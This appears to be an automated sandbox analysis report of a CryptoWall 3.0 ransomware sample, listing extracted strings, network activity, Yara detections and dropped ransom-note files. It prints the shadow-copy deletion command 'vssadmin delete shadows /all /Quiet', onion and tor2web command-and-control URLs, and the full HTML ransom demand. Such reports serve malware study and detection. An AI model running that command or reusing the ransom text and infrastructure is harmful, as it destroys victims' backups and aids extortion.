String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/inst.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD977
Source: 0t8amSU3vd.exe, 00000000.00000002.345355219.0000000000431000.00000002.00000001.01000000.00000003.sdmp, 0t8amSU3vd.exe, 00000000.00000002.345370025.0000000000520000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875409973.0000000000240000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875592110.0000000000431000.00000002.00000001.01000000.00000005.sdmp, svcmtr.exe, 0000000B.00000002.370984556.0000000000431000.00000002.00000001.01000000.00000005.sdmp, svcmtr.exe, 0000000B.00000002.370940853.0000000000260000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 0000000C.00000002.387290975.00000000002C0000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 0000000C.00000002.387316507.0000000000431000.00000002.00000001.01000000.00000005.sdmp, svcmtr.exe, 0000000D.00000002.406412332.0000000000240000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 0000000D.00000002.406449433.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.tor2web.org
Source: svcmtr.exe, 00000002.00000003.757693083.00000000039E6000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.744684272.00000000039E6000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.746044261.00000000039E6000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.754261964.00000000039E6000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.527014764.00000000039E6000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.659748540.00000000039E6000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.422925708.00000000039E6000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516382548.00000000039E6000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.tor2web.org/inst.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 443

Source: unknown	HTTPS traffic detected: 185.230.63.171:443 -> 192.168.2.22:49166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.22:49167 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Yara detected CryptoWall ransomware

Source: Yara match	File source: Process Memory Space: 0t8amSU3vd.exe PID: 3452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svcmtr.exe PID: 3504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svcmtr.exe PID: 3892, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svcmtr.exe PID: 3948, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svcmtr.exe PID: 4000, type: MEMORYSTR

Yara detected TrojanRansom

Source: Yara match

File source: Process Memory Space: svcmtr.exe PID: 3504, type: MEMORYSTR

Deletes shadow drive data (may be related to ransomware)

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\System32\vssadmin.exe" delete shadows /all /Quiet
Source: 0t8amSU3vd.exe, 00000000.00000002.345355219.0000000000431000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: windir%s\system32\cmd.exe /c start "" "%s"runasdelete shadows /all /Quiet openrunasvssadmin.exeKERNEL32Wow64DisableWow64FsRedirectionWow64RevertWow64FsRedirection\Recovery_File_:Zone.IdentifierSeDebugPrivilege435-3435-4546w+%s
Source: 0t8amSU3vd.exe, 00000000.00000002.345370025.0000000000520000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: windir%s\system32\cmd.exe /c start "" "%s"runasdelete shadows /all /Quiet openrunasvssadmin.exeKERNEL32Wow64DisableWow64FsRedirectionWow64RevertWow64FsRedirection\Recovery_File_:Zone.IdentifierSeDebugPrivilege435-3435-4546w+%s
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\System32\vssadmin.exe" delete shadows /all /Quiet	Jump to behavior
Source: svcmtr.exe, 00000002.00000002.875409973.0000000000240000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: windir%s\system32\cmd.exe /c start "" "%s"runasdelete shadows /all /Quiet openrunasvssadmin.exeKERNEL32Wow64DisableWow64FsRedirectionWow64RevertWow64FsRedirection\Recovery_File_:Zone.IdentifierSeDebugPrivilege435-3435-4546w+%s
Source: svcmtr.exe, 00000002.00000002.875592110.0000000000431000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: windir%s\system32\cmd.exe /c start "" "%s"runasdelete shadows /all /Quiet openrunasvssadmin.exeKERNEL32Wow64DisableWow64FsRedirectionWow64RevertWow64FsRedirection\Recovery_File_:Zone.IdentifierSeDebugPrivilege435-3435-4546w+%s
Source: svcmtr.exe, 00000002.00000003.351667117.00000000006ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\System32;;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\WindowsPowerShell\v1.0\C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /Quiet C:\Windows\System32\vssadmin.exeWinsta0\Default=::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files (x86)\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeFP_NO_HOST_CHECK=NOHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OS=Windows_NTPath=C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\WindowsPowerShell\v1.0\PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=x86PROCESSOR_ARCHITEW6432=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 7, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=5507ProgramData=C:\ProgramDataProgramFiles=C:\Program Files (x86)ProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windowswindows_tracing_flags=3windows_tracing_logfile=C:\BVTBin\Tests\installpackage\csilogfile.log
Source: svcmtr.exe, 00000002.00000003.351667117.00000000006DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hWindows\System32\vssadmin.exe" delete shadows /all /Quiet ZZ
Source: vssadmin.exe, 00000006.00000002.354667398.0000000000374000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w7Bw7Pw7`w7jw7C:\Windows\System32\vssadmin.exedeleteshadows/all/Quieti
Source: vssadmin.exe, 00000006.00000002.354605514.00000000001F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\System32;;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\WindowsPowerShell\v1.0\C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /Quiet C:\Windows\System32\vssadmin.exeWinsta0\Default
Source: vssadmin.exe, 00000006.00000002.354605514.00000000001F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\vssadmin.exe" delete shadows /all /Quiet
Source: vssadmin.exe, 00000006.00000002.354605514.00000000001F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\vssadmin.exe" delete shadows /all /Quiet 0
Source: svcmtr.exe, 0000000B.00000002.370984556.0000000000431000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: windir%s\system32\cmd.exe /c start "" "%s"runasdelete shadows /all /Quiet openrunasvssadmin.exeKERNEL32Wow64DisableWow64FsRedirectionWow64RevertWow64FsRedirection\Recovery_File_:Zone.IdentifierSeDebugPrivilege435-3435-4546w+%s
Source: svcmtr.exe, 0000000B.00000002.370940853.0000000000260000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: windir%s\system32\cmd.exe /c start "" "%s"runasdelete shadows /all /Quiet openrunasvssadmin.exeKERNEL32Wow64DisableWow64FsRedirectionWow64RevertWow64FsRedirection\Recovery_File_:Zone.IdentifierSeDebugPrivilege435-3435-4546w+%s
Source: svcmtr.exe, 0000000C.00000002.387290975.00000000002C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: windir%s\system32\cmd.exe /c start "" "%s"runasdelete shadows /all /Quiet openrunasvssadmin.exeKERNEL32Wow64DisableWow64FsRedirectionWow64RevertWow64FsRedirection\Recovery_File_:Zone.IdentifierSeDebugPrivilege435-3435-4546w+%s
Source: svcmtr.exe, 0000000C.00000002.387316507.0000000000431000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: windir%s\system32\cmd.exe /c start "" "%s"runasdelete shadows /all /Quiet openrunasvssadmin.exeKERNEL32Wow64DisableWow64FsRedirectionWow64RevertWow64FsRedirection\Recovery_File_:Zone.IdentifierSeDebugPrivilege435-3435-4546w+%s
Source: svcmtr.exe, 0000000D.00000002.406412332.0000000000240000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: windir%s\system32\cmd.exe /c start "" "%s"runasdelete shadows /all /Quiet openrunasvssadmin.exeKERNEL32Wow64DisableWow64FsRedirectionWow64RevertWow64FsRedirection\Recovery_File_:Zone.IdentifierSeDebugPrivilege435-3435-4546w+%s
Source: svcmtr.exe, 0000000D.00000002.406449433.0000000000431000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: windir%s\system32\cmd.exe /c start "" "%s"runasdelete shadows /all /Quiet openrunasvssadmin.exeKERNEL32Wow64DisableWow64FsRedirectionWow64RevertWow64FsRedirection\Recovery_File_:Zone.IdentifierSeDebugPrivilege435-3435-4546w+%s

Drops a file containing file decryption instructions (likely related to ransomware)

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\$Recycle.Bin\S-1-5-21-966771315-3019405637-367336477-1001\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\$Recycle.Bin\S-1-5-21-966771315-3019405637-367336477-1001\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\$Recycle.Bin\S-1-5-21-966771315-3019405637-367336477-1003\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\$Recycle.Bin\S-1-5-21-966771315-3019405637-367336477-1003\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\$Recycle.Bin\S-1-5-21-966771315-3019405637-367336477-1004\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\$Recycle.Bin\S-1-5-21-966771315-3019405637-367336477-1004\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\$Recycle.Bin\S-1-5-21-966771315-3019405637-367336477-1005\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\$Recycle.Bin\S-1-5-21-966771315-3019405637-367336477-1005\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\$Recycle.Bin\S-1-5-21-966771315-3019405637-367336477-1006\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\$Recycle.Bin\S-1-5-21-966771315-3019405637-367336477-1006\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\$Recycle.Bin\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\$Recycle.Bin\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Config.Msi\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Config.Msi\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\Cache\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\Cache\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\ToolsSearchCacheRdr\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\ToolsSearchCacheRdr\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\restore_files_gpmus.html	Jump to behavior

Found potential ransomware demand text

Source: 0t8amSU3vd.exe, 00000000.00000002.345355219.0000000000431000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/%S" target="_blank">http://aep554w4fm8j.fflroe598qu.com/%S</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/%S" target="_blank">http://aoei243548ld.keedo93i1lo.com/%S</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/%S" target="_blank">https://zpr5huq4bgmutfnf.onion.to/%S</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installation, run the browser and wait for initialization.<br>3. Type in the address b
Source: 0t8amSU3vd.exe, 00000000.00000002.345355219.0000000000431000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: 0t8amSU3vd.exe, 00000000.00000002.345370025.0000000000520000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/%S" target="_blank">http://aep554w4fm8j.fflroe598qu.com/%S</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/%S" target="_blank">http://aoei243548ld.keedo93i1lo.com/%S</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/%S" target="_blank">https://zpr5huq4bgmutfnf.onion.to/%S</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installation, run the browser and wait for initialization.<br>3. Type in the address b
Source: 0t8amSU3vd.exe, 00000000.00000002.345370025.0000000000520000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: svcmtr.exe, 00000002.00000002.875409973.0000000000240000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/%S" target="_blank">http://aep554w4fm8j.fflroe598qu.com/%S</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/%S" target="_blank">http://aoei243548ld.keedo93i1lo.com/%S</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/%S" target="_blank">https://zpr5huq4bgmutfnf.onion.to/%S</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installation, run the browser and wait for initialization.<br>3. Type in the address b
Source: svcmtr.exe, 00000002.00000002.875409973.0000000000240000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: svcmtr.exe, 00000002.00000002.875592110.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/%S" target="_blank">http://aep554w4fm8j.fflroe598qu.com/%S</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/%S" target="_blank">http://aoei243548ld.keedo93i1lo.com/%S</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/%S" target="_blank">https://zpr5huq4bgmutfnf.onion.to/%S</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installation, run the browser and wait for initialization.<br>3. Type in the address b
Source: svcmtr.exe, 00000002.00000002.875592110.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: svcmtr.exe, 00000002.00000002.875613471.00000000004BC000.00000004.00000001.01000000.00000005.sdmp	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: svcmtr.exe, 00000002.00000002.875613471.00000000004C0000.00000004.00000001.01000000.00000005.sdmp	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: svcmtr.exe, 0000000B.00000002.370984556.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were 